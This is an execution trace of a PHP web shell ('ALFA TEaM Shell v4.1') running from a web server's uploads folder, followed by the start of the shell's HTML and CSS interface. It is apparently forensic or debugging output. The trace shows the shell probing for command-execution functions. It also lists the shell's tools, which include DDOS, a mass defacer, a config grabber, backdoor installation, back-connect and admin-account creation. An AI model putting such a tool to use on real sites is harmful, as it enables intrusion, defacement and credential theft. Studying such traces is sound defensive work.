4		A						/var/www/html/uploads/alfa.phtml	921	$s = [0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
4		A						/var/www/html/uploads/alfa.phtml	922	$i = 0
4		A						/var/www/html/uploads/alfa.phtml	923	$b = 0
4		A						/var/www/html/uploads/alfa.phtml	924	$func = [0 => 'system', 1 => 'exec', 2 => 'shell_exec', 3 => 'proc_open', 4 => 'popen', 5 => 'passthru', 6 => 'symlink', 7 => 'dl']
4		A						/var/www/html/uploads/alfa.phtml	925	$black_list = []
4		A						/var/www/html/uploads/alfa.phtml	926	$allow_list = []
5	439	0	0.069496	2804544	trim	0		/var/www/html/uploads/alfa.phtml	928	1	'pcntl_alarm'
5	439	1	0.069509	2804576
5	439	R			'pcntl_alarm'
4		A						/var/www/html/uploads/alfa.phtml	928	$d = 'pcntl_alarm'
5	440	0	0.069534	2804544	is_callable	0		/var/www/html/uploads/alfa.phtml	929	1	'pcntl_alarm'
5	440	1	0.069549	2804576
5	440	R			FALSE
5	441	0	0.069562	2804544	trim	0		/var/www/html/uploads/alfa.phtml	928	1	'pcntl_fork'
5	441	1	0.069575	2804576
5	441	R			'pcntl_fork'
4		A						/var/www/html/uploads/alfa.phtml	928	$d = 'pcntl_fork'
5	442	0	0.069599	2804544	is_callable	0		/var/www/html/uploads/alfa.phtml	929	1	'pcntl_fork'
5	442	1	0.069615	2804576
5	442	R			FALSE
5	443	0	0.069628	2804544	trim	0		/var/www/html/uploads/alfa.phtml	928	1	'pcntl_waitpid'
5	443	1	0.069657	2804576
5	443	R			'pcntl_waitpid'
4		A						/var/www/html/uploads/alfa.phtml	928	$d = 'pcntl_waitpid'
5	444	0	0.069682	2804544	is_callable	0		/var/www/html/uploads/alfa.phtml	929	1	'pcntl_waitpid'
5	444	1	0.069695	2804576
5	444	R			FALSE
5	445	0	0.069708	2804544	trim	0		/var/www/html/uploads/alfa.phtml	928	1	'pcntl_wait'
5	445	1	0.069720	2804576
5	445	R			'pcntl_wait'
4		A						/var/www/html/uploads/alfa.phtml	928	$d = 'pcntl_wait'
5	446	0	0.069743	2804544	is_callable	0		/var/www/html/uploads/alfa.phtml	929	1	'pcntl_wait'
5	446	1	0.069756	2804576
5	446	R			FALSE
5	447	0	0.069769	2804544	trim	0		/var/www/html/uploads/alfa.phtml	928	1	'pcntl_wifexited'
5	447	1	0.069781	2804576
5	447	R			'pcntl_wifexited'
4		A						/var/www/html/uploads/alfa.phtml	928	$d = 'pcntl_wifexited'
5	448	0	0.069806	2804544	is_callable	0		/var/www/html/uploads/alfa.phtml	929	1	'pcntl_wifexited'
5	448	1	0.069819	2804576
5	448	R			FALSE
5	449	0	0.069831	2804544	trim	0		/var/www/html/uploads/alfa.phtml	928	1	'pcntl_wifstopped'
5	449	1	0.069844	2804576
5	449	R			'pcntl_wifstopped'
4		A						/var/www/html/uploads/alfa.phtml	928	$d = 'pcntl_wifstopped'
5	450	0	0.069868	2804544	is_callable	0		/var/www/html/uploads/alfa.phtml	929	1	'pcntl_wifstopped'
5	450	1	0.069881	2804576
5	450	R			FALSE
5	451	0	0.069894	2804544	trim	0		/var/www/html/uploads/alfa.phtml	928	1	'pcntl_wifsignaled'
5	451	1	0.069906	2804576
5	451	R			'pcntl_wifsignaled'
4		A						/var/www/html/uploads/alfa.phtml	928	$d = 'pcntl_wifsignaled'
5	452	0	0.069930	2804544	is_callable	0		/var/www/html/uploads/alfa.phtml	929	1	'pcntl_wifsignaled'
5	452	1	0.069943	2804576
5	452	R			FALSE
5	453	0	0.069956	2804544	trim	0		/var/www/html/uploads/alfa.phtml	928	1	'pcntl_wifcontinued'
5	453	1	0.069968	2804576
5	453	R			'pcntl_wifcontinued'
4		A						/var/www/html/uploads/alfa.phtml	928	$d = 'pcntl_wifcontinued'
5	454	0	0.069992	2804544	is_callable	0		/var/www/html/uploads/alfa.phtml	929	1	'pcntl_wifcontinued'
5	454	1	0.070005	2804576
5	454	R			FALSE
5	455	0	0.070018	2804544	trim	0		/var/www/html/uploads/alfa.phtml	928	1	'pcntl_wexitstatus'
5	455	1	0.070030	2804576
5	455	R			'pcntl_wexitstatus'
4		A						/var/www/html/uploads/alfa.phtml	928	$d = 'pcntl_wexitstatus'
5	456	0	0.070054	2804544	is_callable	0		/var/www/html/uploads/alfa.phtml	929	1	'pcntl_wexitstatus'
5	456	1	0.070071	2804576
5	456	R			FALSE
5	457	0	0.070084	2804544	trim	0		/var/www/html/uploads/alfa.phtml	928	1	'pcntl_wtermsig'
5	457	1	0.070097	2804576
5	457	R			'pcntl_wtermsig'
4		A						/var/www/html/uploads/alfa.phtml	928	$d = 'pcntl_wtermsig'
5	458	0	0.070121	2804544	is_callable	0		/var/www/html/uploads/alfa.phtml	929	1	'pcntl_wtermsig'
5	458	1	0.070134	2804576
5	458	R			FALSE
5	459	0	0.070147	2804544	trim	0		/var/www/html/uploads/alfa.phtml	928	1	'pcntl_wstopsig'
5	459	1	0.070159	2804576
5	459	R			'pcntl_wstopsig'
4		A						/var/www/html/uploads/alfa.phtml	928	$d = 'pcntl_wstopsig'
5	460	0	0.070183	2804544	is_callable	0		/var/www/html/uploads/alfa.phtml	929	1	'pcntl_wstopsig'
5	460	1	0.070197	2804576
5	460	R			FALSE
5	461	0	0.070210	2804544	trim	0		/var/www/html/uploads/alfa.phtml	928	1	'pcntl_signal'
5	461	1	0.070222	2804576
5	461	R			'pcntl_signal'
4		A						/var/www/html/uploads/alfa.phtml	928	$d = 'pcntl_signal'
5	462	0	0.070246	2804544	is_callable	0		/var/www/html/uploads/alfa.phtml	929	1	'pcntl_signal'
5	462	1	0.070259	2804576
5	462	R			FALSE
5	463	0	0.070271	2804544	trim	0		/var/www/html/uploads/alfa.phtml	928	1	'pcntl_signal_get_handler'
5	463	1	0.070284	2804576
5	463	R			'pcntl_signal_get_handler'
4		A						/var/www/html/uploads/alfa.phtml	928	$d = 'pcntl_signal_get_handler'
5	464	0	0.070308	2804544	is_callable	0		/var/www/html/uploads/alfa.phtml	929	1	'pcntl_signal_get_handler'
5	464	1	0.070322	2804576
5	464	R			FALSE
5	465	0	0.070334	2804544	trim	0		/var/www/html/uploads/alfa.phtml	928	1	'pcntl_signal_dispatch'
5	465	1	0.070347	2804576
5	465	R			'pcntl_signal_dispatch'
4		A						/var/www/html/uploads/alfa.phtml	928	$d = 'pcntl_signal_dispatch'
5	466	0	0.070371	2804544	is_callable	0		/var/www/html/uploads/alfa.phtml	929	1	'pcntl_signal_dispatch'
5	466	1	0.070384	2804576
5	466	R			FALSE
5	467	0	0.070397	2804544	trim	0		/var/www/html/uploads/alfa.phtml	928	1	'pcntl_get_last_error'
5	467	1	0.070409	2804576
5	467	R			'pcntl_get_last_error'
4		A						/var/www/html/uploads/alfa.phtml	928	$d = 'pcntl_get_last_error'
5	468	0	0.070433	2804544	is_callable	0		/var/www/html/uploads/alfa.phtml	929	1	'pcntl_get_last_error'
5	468	1	0.070446	2804576
5	468	R			FALSE
5	469	0	0.070459	2804544	trim	0		/var/www/html/uploads/alfa.phtml	928	1	'pcntl_strerror'
5	469	1	0.070472	2804576
5	469	R			'pcntl_strerror'
4		A						/var/www/html/uploads/alfa.phtml	928	$d = 'pcntl_strerror'
5	470	0	0.070495	2804544	is_callable	0		/var/www/html/uploads/alfa.phtml	929	1	'pcntl_strerror'
5	470	1	0.070508	2804576
5	470	R			FALSE
5	471	0	0.070521	2804544	trim	0		/var/www/html/uploads/alfa.phtml	928	1	'pcntl_sigprocmask'
5	471	1	0.070533	2804576
5	471	R			'pcntl_sigprocmask'
4		A						/var/www/html/uploads/alfa.phtml	928	$d = 'pcntl_sigprocmask'
5	472	0	0.070557	2804544	is_callable	0		/var/www/html/uploads/alfa.phtml	929	1	'pcntl_sigprocmask'
5	472	1	0.070570	2804576
5	472	R			FALSE
5	473	0	0.070583	2804544	trim	0		/var/www/html/uploads/alfa.phtml	928	1	'pcntl_sigwaitinfo'
5	473	1	0.070595	2804576
5	473	R			'pcntl_sigwaitinfo'
4		A						/var/www/html/uploads/alfa.phtml	928	$d = 'pcntl_sigwaitinfo'
5	474	0	0.070619	2804544	is_callable	0		/var/www/html/uploads/alfa.phtml	929	1	'pcntl_sigwaitinfo'
5	474	1	0.070632	2804576
5	474	R			FALSE
5	475	0	0.070644	2804544	trim	0		/var/www/html/uploads/alfa.phtml	928	1	'pcntl_sigtimedwait'
5	475	1	0.070657	2804576
5	475	R			'pcntl_sigtimedwait'
4		A						/var/www/html/uploads/alfa.phtml	928	$d = 'pcntl_sigtimedwait'
5	476	0	0.070681	2804544	is_callable	0		/var/www/html/uploads/alfa.phtml	929	1	'pcntl_sigtimedwait'
5	476	1	0.070694	2804576
5	476	R			FALSE
5	477	0	0.070706	2804544	trim	0		/var/www/html/uploads/alfa.phtml	928	1	'pcntl_exec'
5	477	1	0.070719	2804576
5	477	R			'pcntl_exec'
4		A						/var/www/html/uploads/alfa.phtml	928	$d = 'pcntl_exec'
5	478	0	0.070742	2804544	is_callable	0		/var/www/html/uploads/alfa.phtml	929	1	'pcntl_exec'
5	478	1	0.070758	2804576
5	478	R			FALSE
5	479	0	0.070771	2804544	trim	0		/var/www/html/uploads/alfa.phtml	928	1	'pcntl_getpriority'
5	479	1	0.070783	2804576
5	479	R			'pcntl_getpriority'
4		A						/var/www/html/uploads/alfa.phtml	928	$d = 'pcntl_getpriority'
5	480	0	0.070808	2804544	is_callable	0		/var/www/html/uploads/alfa.phtml	929	1	'pcntl_getpriority'
5	480	1	0.070821	2804576
5	480	R			FALSE
5	481	0	0.070833	2804544	trim	0		/var/www/html/uploads/alfa.phtml	928	1	'pcntl_setpriority'
5	481	1	0.070846	2804576
5	481	R			'pcntl_setpriority'
4		A						/var/www/html/uploads/alfa.phtml	928	$d = 'pcntl_setpriority'
5	482	0	0.070869	2804544	is_callable	0		/var/www/html/uploads/alfa.phtml	929	1	'pcntl_setpriority'
5	482	1	0.070882	2804576
5	482	R			FALSE
5	483	0	0.070895	2804544	trim	0		/var/www/html/uploads/alfa.phtml	928	1	'pcntl_async_signals'
5	483	1	0.070908	2804576
5	483	R			'pcntl_async_signals'
4		A						/var/www/html/uploads/alfa.phtml	928	$d = 'pcntl_async_signals'
5	484	0	0.070932	2804544	is_callable	0		/var/www/html/uploads/alfa.phtml	929	1	'pcntl_async_signals'
5	484	1	0.070945	2804576
5	484	R			FALSE
5	485	0	0.070957	2804544	trim	0		/var/www/html/uploads/alfa.phtml	928	1	''
5	485	1	0.070969	2804576
5	485	R			''
4		A						/var/www/html/uploads/alfa.phtml	928	$d = ''
4	435	1	0.070992	2801696
4	435	R			'<span class="header_show_all">All Functions Accessible</span>'
4	486	0	0.071013	2803488	getenv	0		/var/www/html/uploads/alfa.phtml	1193	1	'SERVER_SOFTWARE'
4	486	1	0.071030	2803568
4	486	R			'Apache/2.4.52 (Ubuntu)'
3		A						/var/www/html/uploads/alfa.phtml	1210	$li = ['proc' => 'Process', 'phpeval' => 'Eval', 'sql' => 'SQL Manager', 'dumper' => 'Database Dumper', 'coldumper' => 'Column Dumper', 'hash' => 'En-Decoder', 'connect' => 'BC', 'zoneh' => 'ZONE-H', 'dos' => 'DDOS', 'safe' => 'ByPasser', 'cgishell' => 'Cgi Shell', 'ssiShell' => 'SSI SHELL', 'cpcrack' => 'Hash Tools', 'portscanner' => 'Port Scaner', 'basedir' => 'Open BaseDir', 'mail' => 'Fake Mail', 'ziper' => 'Compressor', 'deziper' => 'DeCompressor', 'IndexChanger' => 'Index Changer', 'pwchanger' => 'Add New Admin', 'ShellInjectors' => 'Shell Injectors', 'php2xml' => 'PHP2XML', 'cloudflare' => 'CloudFlare', 'Whmcs' => 'Whmcs DeCoder', 'symlink' => 'Symlink', 'MassDefacer' => 'Mass Defacer', 'Crackers' => 'BruteForcer', 'searcher' => 'Searcher', 'config_grabber' => 'Config Grabber', 'fakepage' => 'Fake Page', 'archive_manager' => 'Archive Manager', 'cmshijacker' => 'CMS Hijacker', 'remotedl' => 'Remote Upload', 'inbackdoor' => 'Install BackDoor', 'whois' => 'Whois', 'selfrm' => 'Remove Shell']
3		A						/var/www/html/uploads/alfa.phtml	1216	$key = 'proc'
3		A						/var/www/html/uploads/alfa.phtml	1216	$key = 'phpeval'
3		A						/var/www/html/uploads/alfa.phtml	1216	$key = 'sql'
3		A						/var/www/html/uploads/alfa.phtml	1216	$key = 'dumper'
3		A						/var/www/html/uploads/alfa.phtml	1216	$key = 'coldumper'
3		A						/var/www/html/uploads/alfa.phtml	1216	$key = 'hash'
3		A						/var/www/html/uploads/alfa.phtml	1216	$key = 'connect'
3		A						/var/www/html/uploads/alfa.phtml	1216	$key = 'zoneh'
3		A						/var/www/html/uploads/alfa.phtml	1216	$key = 'dos'
3		A						/var/www/html/uploads/alfa.phtml	1216	$key = 'safe'
3		A						/var/www/html/uploads/alfa.phtml	1216	$key = 'cgishell'
3		A						/var/www/html/uploads/alfa.phtml	1216	$key = 'ssiShell'
3		A						/var/www/html/uploads/alfa.phtml	1216	$key = 'cpcrack'
3		A						/var/www/html/uploads/alfa.phtml	1216	$key = 'portscanner'
3		A						/var/www/html/uploads/alfa.phtml	1216	$key = 'basedir'
3		A						/var/www/html/uploads/alfa.phtml	1216	$key = 'mail'
3		A						/var/www/html/uploads/alfa.phtml	1216	$key = 'ziper'
3		A						/var/www/html/uploads/alfa.phtml	1216	$key = 'deziper'
3		A						/var/www/html/uploads/alfa.phtml	1216	$key = 'IndexChanger'
3		A						/var/www/html/uploads/alfa.phtml	1216	$key = 'pwchanger'
3		A						/var/www/html/uploads/alfa.phtml	1216	$key = 'ShellInjectors'
3		A						/var/www/html/uploads/alfa.phtml	1216	$key = 'php2xml'
3		A						/var/www/html/uploads/alfa.phtml	1216	$key = 'cloudflare'
3		A						/var/www/html/uploads/alfa.phtml	1216	$key = 'Whmcs'
3		A						/var/www/html/uploads/alfa.phtml	1216	$key = 'symlink'
3		A						/var/www/html/uploads/alfa.phtml	1216	$key = 'MassDefacer'
3		A						/var/www/html/uploads/alfa.phtml	1216	$key = 'Crackers'
3		A						/var/www/html/uploads/alfa.phtml	1216	$key = 'searcher'
3		A						/var/www/html/uploads/alfa.phtml	1216	$key = 'config_grabber'
3		A						/var/www/html/uploads/alfa.phtml	1216	$key = 'fakepage'
3		A						/var/www/html/uploads/alfa.phtml	1216	$key = 'archive_manager'
3		A						/var/www/html/uploads/alfa.phtml	1216	$key = 'cmshijacker'
3		A						/var/www/html/uploads/alfa.phtml	1216	$key = 'remotedl'
3		A						/var/www/html/uploads/alfa.phtml	1216	$key = 'inbackdoor'
3		A						/var/www/html/uploads/alfa.phtml	1216	$key = 'whois'
3		A						/var/www/html/uploads/alfa.phtml	1216	$key = 'selfrm'
3	61	1	0.071898	2797752
3	487	0	0.071907	2797752	AlfaNum	1		/var/www/html/uploads/alfa.phtml	2561	7	8	9	10	7	6	5	4
3		A						/var/www/html/uploads/alfa.phtml	948	$args = [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
3		A						/var/www/html/uploads/alfa.phtml	949	$alfax = []
3		A						/var/www/html/uploads/alfa.phtml	950	$find = []
3		A						/var/www/html/uploads/alfa.phtml	951	$i = 1
3		A						/var/www/html/uploads/alfa.phtml	952	$alfax[] = 1
3		A						/var/www/html/uploads/alfa.phtml	951	$i++
3		A						/var/www/html/uploads/alfa.phtml	952	$alfax[] = 2
3		A						/var/www/html/uploads/alfa.phtml	951	$i++
3		A						/var/www/html/uploads/alfa.phtml	952	$alfax[] = 3
3		A						/var/www/html/uploads/alfa.phtml	951	$i++
3		A						/var/www/html/uploads/alfa.phtml	952	$alfax[] = 4
3		A						/var/www/html/uploads/alfa.phtml	951	$i++
3		A						/var/www/html/uploads/alfa.phtml	952	$alfax[] = 5
3		A						/var/www/html/uploads/alfa.phtml	951	$i++
3		A						/var/www/html/uploads/alfa.phtml	952	$alfax[] = 6
3		A						/var/www/html/uploads/alfa.phtml	951	$i++
3		A						/var/www/html/uploads/alfa.phtml	952	$alfax[] = 7
3		A						/var/www/html/uploads/alfa.phtml	951	$i++
3		A						/var/www/html/uploads/alfa.phtml	952	$alfax[] = 8
3		A						/var/www/html/uploads/alfa.phtml	951	$i++
3		A						/var/www/html/uploads/alfa.phtml	952	$alfax[] = 9
3		A						/var/www/html/uploads/alfa.phtml	951	$i++
3		A						/var/www/html/uploads/alfa.phtml	952	$alfax[] = 10
3		A						/var/www/html/uploads/alfa.phtml	951	$i++
3		A						/var/www/html/uploads/alfa.phtml	955	$find[] = 8
3		A						/var/www/html/uploads/alfa.phtml	955	$find[] = 9
3		A						/var/www/html/uploads/alfa.phtml	955	$find[] = 10
3		A						/var/www/html/uploads/alfa.phtml	955	$find[] = 7
3		A						/var/www/html/uploads/alfa.phtml	955	$find[] = 6
3		A						/var/www/html/uploads/alfa.phtml	955	$find[] = 5
3		A						/var/www/html/uploads/alfa.phtml	955	$find[] = 4
4	488	0	0.072198	2799200	in_array	0		/var/www/html/uploads/alfa.phtml	959	2	1	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4	488	1	0.072215	2799272
4	488	R			FALSE
4	489	0	0.072230	2799200	in_array	0		/var/www/html/uploads/alfa.phtml	959	2	2	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4	489	1	0.072247	2799272
4	489	R			FALSE
4	490	0	0.072260	2799200	in_array	0		/var/www/html/uploads/alfa.phtml	959	2	3	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4	490	1	0.072276	2799272
4	490	R			FALSE
4	491	0	0.072289	2799200	in_array	0		/var/www/html/uploads/alfa.phtml	959	2	4	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4	491	1	0.072305	2799272
4	491	R			TRUE
4	492	0	0.072318	2799200	in_array	0		/var/www/html/uploads/alfa.phtml	959	2	5	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4	492	1	0.072334	2799272
4	492	R			TRUE
4	493	0	0.072346	2799200	in_array	0		/var/www/html/uploads/alfa.phtml	959	2	6	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4	493	1	0.072362	2799272
4	493	R			TRUE
4	494	0	0.072374	2799200	in_array	0		/var/www/html/uploads/alfa.phtml	959	2	7	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4	494	1	0.072389	2799272
4	494	R			TRUE
4	495	0	0.072401	2799200	in_array	0		/var/www/html/uploads/alfa.phtml	959	2	8	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4	495	1	0.072416	2799272
4	495	R			TRUE
4	496	0	0.072429	2799200	in_array	0		/var/www/html/uploads/alfa.phtml	959	2	9	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4	496	1	0.072444	2799272
4	496	R			TRUE
4	497	0	0.072456	2799200	in_array	0		/var/www/html/uploads/alfa.phtml	959	2	10	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4	497	1	0.072471	2799272
4	497	R			TRUE
3	487	1	0.072483	2797752
3	498	0	0.072491	2797752	alfafooter	1		/var/www/html/uploads/alfa.phtml	2563	0
4	499	0	0.072508	2797752	htmlspecialchars	0		/var/www/html/uploads/alfa.phtml	2293	1	'/var/www/html/uploads/'
4	499	1	0.072524	2797944
4	499	R			'/var/www/html/uploads/'
4	500	0	0.072540	2800824	date	0		/var/www/html/uploads/alfa.phtml	2306	1	'Y'
4	500	1	0.072574	2801112
4	500	R			'2023'
3	498	1	0.074289	2814136
2	60	1	0.074301	2814136
			0.074338	2626040
TRACE END   [2023-02-13 01:28:00.820459]


Generated HTML code

<html xmlns="http://www.w3.org/1999/xhtml"><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name="ROBOTS" content="NOINDEX, NOFOLLOW">
<link href="http://solevisible.com/images/alfamini.png" rel="icon" type="image/x-icon">
<title>..:: localhost ~ ALFA TEaM Shell - v4.1-Tesla ::..</title>
<style type="text/css">.hlabale{color:#67abdf;border-radius:4px;border:1px solid #27979b;margin-left:7px;padding:2px}#tbl_sympphp tr{text-align:center}#PhpCode,.php-evals-ace,.view_ml_content{position:absolute;top:0;right:0;bottom:0;left:0;background:#1b292b26;top:50px}.editor-view{position:relative;height:100%}.view-content{position:absolute;overflow-y:auto;width:100%;height:93%}::-webkit-scrollbar-track{-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3);border-radius:10px;background-color:#000115}::-webkit-scrollbar{width:10px;background-color:#000115}::-webkit-scrollbar-thumb{border-radius:10px;-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3);background-color:#1e82b5}.editor-file-name{margin-left:29px;margin-top:4px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.editor-icon{position:absolute}.is_active{background:rgba(49,55,93,.77);border-radius:10px}.history-list{height:88%;overflow-y:auto}.opt-title{position:absolute;left:50%;top:50%;transform:translate(-50%,-50%);color:#2fd051;font-size:25px;font-family:monospace}.options_min_badge{visibility:hidden;text-align:center;right:30px;color:#fff;background:#2a8a24;padding:6px;border-radius:50%;width:15px;height:15px;display:inline-block;position:absolute;top:-7px}#cgiloader-minimized,#database_window-minimized,#editor-minimized,#options_window-minimized{display:block;position:fixed;right:-30px;width:30px;height:30px;top:30%;z-index:9999}.minimized-wrapper{position:relative;background:#0e304a;width:44px;height:130px;cursor:pointer;border-bottom-left-radius:5px;border-top-left-radius:5px}.minimized-text{transform:rotate(-90deg);color:wheat;font-size:x-large;display:inline-block;position:absolute;right:-51px;width:129px;top:-10px;border-top-left-radius:4%;height:56px;padding:3px}.close-button,.editor-minimize{height:26px;width:38px;right:7px;background:#1d5673;cursor:pointer;position:absolute;box-sizing:border-box;line-height:50px;display:inline-block;top:17px;border-radius:100px}.editor-minimize{right:50px}.close-button:after,.close-button:before,.editor-minimize:before{transform:rotate(-45deg);content:"";position:absolute;top:63%;right:6px;margin-top:-5px;margin-left:-25px;display:block;height:4px;width:27px;background-color:rgba(216,207,207,.75);transition:all .25s ease-out}.editor-minimize:before{transform:rotate(0)}.close-button:after{transform:rotate(-135deg)}.close-button:hover:after,.close-button:hover:before,.editor-minimize:hover:before{background-color:red}.close-button:hover,.editor-minimize:hover{background-color:rgba(39,66,80,.96)}#cgiloader,#database_window,#editor,#options_window{display:none;position:fixed;top:0;width:100%;height:100%;z-index:20}.editor-wrapper{width:100%;height:100%;position:relative;top:1%}.editor-header{width:97%;background:rgba(21,66,88,.93);height:37px;margin-left:13px;position:relative;border-top-left-radius:15px;border-top-right-radius:15px}.editor-path{position:absolute;font-size:x-large;margin-left:10px;top:6px;color:#00ff7f}.editor-modal{position:relative;top:0;background-color:rgba(0,1,23,.95);height:90%;margin-left:20%;margin-right:2%;border:2px #0e304a solid}.editor-explorer{width:19%;height:90%;background-color:rgba(0,1,23,.94);position:absolute;z-index:2;left:1%;border:2px #0e304a solid}.editor-controller{position:relative;top:-13px}.file-holder{position:relative;width:100%;height:30px}.file-holder>.history{position:absolute;color:#03b3a3;cursor:pointer;left:5px;font-size:18px;font-family:sans-serif;width:89%;height:100%;z-index:3;border-radius:10px;transition:background-color .6s ease-out}.file-holder>.history-close{display:block;opacity:0;position:absolute;right:2px;width:20px;top:4px;text-align:center;cursor:pointer;color:#fff;background:red;border-radius:100px;font-family:monospace;z-index:10;transition:opacity .6s ease-out;font-size:15px;height:19px}.file-holder>.history:hover{background-color:#646464}.editor-explorer>.hheader{position:relative;color:#14ff07;border-bottom:2px #206aa2 solid;text-align:center;font-family:sans-serif;margin-bottom:10px;height:55px}.editor-search{position:absolute;bottom:7px;left:31px}.hheader-text{position:absolute;left:8px;top:2px}.history-clear{position:absolute;right:8px;top:2px;cursor:pointer}.editor-body{position:relative;margin-left:3px;height:100%}.editor-anim-close{-webkit-animation:editorClose .8s ease-in-out forwards;-moz-animation:editorClose .8s ease-in-out forwards;-ms-animation:editorClose .8s ease-in-out forwards;animation:editorClose .8s ease-in-out forwards}@keyframes editorClose{0%{visibility:1;opacity:1}100%{visibility:0;opacity:0}}.editor-anim-minimize{-webkit-animation:editorMinimize .8s ease-in-out forwards;-moz-animation:editorMinimize .8s ease-in-out forwards;-ms-animation:editorMinimize .8s ease-in-out forwards;animation:editorMinimize .8s ease-in-out forwards}@keyframes editorMinimize{0%{right:0;opacity:1}100%{right:-2000px;opacity:0}}.editor-anim-show{-webkit-animation:editorShow .8s ease-in-out forwards;-moz-animation:editorShow .8s ease-in-out forwards;-ms-animation:editorShow .8s ease-in-out forwards;animation:editorShow .8s ease-in-out forwards}@keyframes editorShow{0%{right:-2000px;opacity:0}100%{right:0;opacity:1}}.minimized-show{-webkit-animation:minimizeShow .8s ease-in-out forwards;-moz-animation:minimizeShow .8s ease-in-out forwards;-ms-animation:minimizeShow .8s ease-in-out forwards;animation:minimizeShow .8s ease-in-out forwards}@keyframes minimizeShow{0%{right:-30px;opacity:0}100%{right:0;opacity:1}}.minimized-hide{-webkit-animation:minimizeHide .8s ease-in-out forwards;-moz-animation:minimizeHide .8s ease-in-out forwards;-ms-animation:minimizeHide .8s ease-in-out forwards;animation:minimizeHide .8s ease-in-out forwards}@keyframes minimizeHide{0%{right:0;opacity:1}100%{right:-30px;opacity:0}}.solevisible-text:hover{-webkit-text-shadow:0 0 25px #0f0;-moz-text-shadow:0 0 25px #0f0;-ms-text-shadow:0 0 25px #0f0;text-shadow:0 0 25px #0f0}.update-holder{position:fixed;top:0;background-color:rgba(0,24,29,.72);width:100%;height:100%}.update-content{position:relative}.update-content>a{text-decoration:none;position:absolute;color:rgba(103,167,47,.77);left:24%;margin-top:7%;font-size:40px}.update-close{position:absolute;right:0;margin-right:23px;top:10px;font-size:27px;background-color:#130f50;width:5%;border-radius:100px;cursor:pointer;border:2px #0e265a solid}.update-close:hover{border:2px #25ff00 solid;color:red}.filestools{height:auto;width:auto;color:#67abdf;font-size:12px;font-family:Verdana,Geneva,sans-serif}@-moz-document url-prefix(){#search-input{width:173px}.editor-path{top:3px}}.filters-holder{padding:5px;padding-left:10px}.filters-holder input{width:200px}.filters-holder span{color:#8bc7f7}#rightclick_menu{width:175px;visibility:hidden;opacity:0;position:fixed;background:#0f304a;color:#555;font-family:sans-serif;font-size:11px;-webkit-transition:opacity .5s ease-in-out;-moz-transition:opacity .5s ease-in-out;-ms-transition:opacity .5s ease-in-out;-o-transition:opacity .5s ease-in-out;transition:opacity .5s ease-in-out;-webkit-box-shadow:-1px 0 17px 0 #8b8b8c;-moz-box-shadow:-1px 0 17px 0 #8b8b8c;box-shadow:-1px 0 17px 0 #8b8b8c;padding:0;border:1px solid #737373;border-radius:10px}#rightclick_menu a{display:block;color:#fff;font-weight:bolder;text-decoration:none;padding:6px 8px 6px 30px;position:relative;padding-left:40px}#rightclick_menu a i.fa,#rightclick_menu a img{height:20px;font-size:17px;width:20px;position:absolute;left:5px;top:2px;padding-left:5px}#rightclick_menu a span{color:#bcb1b3;float:right}#rightclick_menu a:hover{color:#fff;background:#3879d9}#rightclick_menu hr{border:1px solid #ebebeb;border-bottom:0}.cl-popup-fixed{position:fixed;top:0;left:0;width:100%;height:100%;background:#201e1ead}#shortcutMenu-holder{position:absolute;top:40%;left:50%;transform:translate(-50%,-50%);background:#1f1e1edb;height:190px;width:500px;color:#fff}#shortcutMenu-holder>.popup-head{background:#207174;padding:6px;border-top:10px;text-align:center;font-family:sans-serif;color:#fff}#shortcutMenu-holder>form{padding:10px}#shortcutMenu-holder>form>label{display:block}#shortcutMenu-holder>form>input{width:99%;height:24px;margin-top:4px;color:#fff;outline:0;font-size:16px}#shortcutMenu-holder>.popup-foot{float:right;height:30px;margin-right:8px}#shortcutMenu-holder>.popup-foot>button{height:100%;cursor:pointer;color:#fff;outline:0}.php-terminal-output{overflow:auto;height:86%;border:1px solid #1e5673;border-radius:10px}.cmd-history-holder{visibility:hidden;opacity:0;position:absolute;color:#dff3d5;background:#093d58;top:-300px;height:300px;width:calc(69% + -11px);border-radius:10px 10px 0 0;left:calc(2% - 9px);transition:visibility .5s,opacity .5s linear}.cmd-history-holder .commands-history-header{background:#37504e;text-align:center;border-radius:10px 10px 0 0}.cmd-history-icon{width:27px;top:6px;left:calc(69% + 5px);position:absolute;cursor:pointer}.history-cmd-line{padding:4px;border-bottom:1px dashed;cursor:pointer}.history-cmd-line:hover{background:#961111}#myUL,#myUL 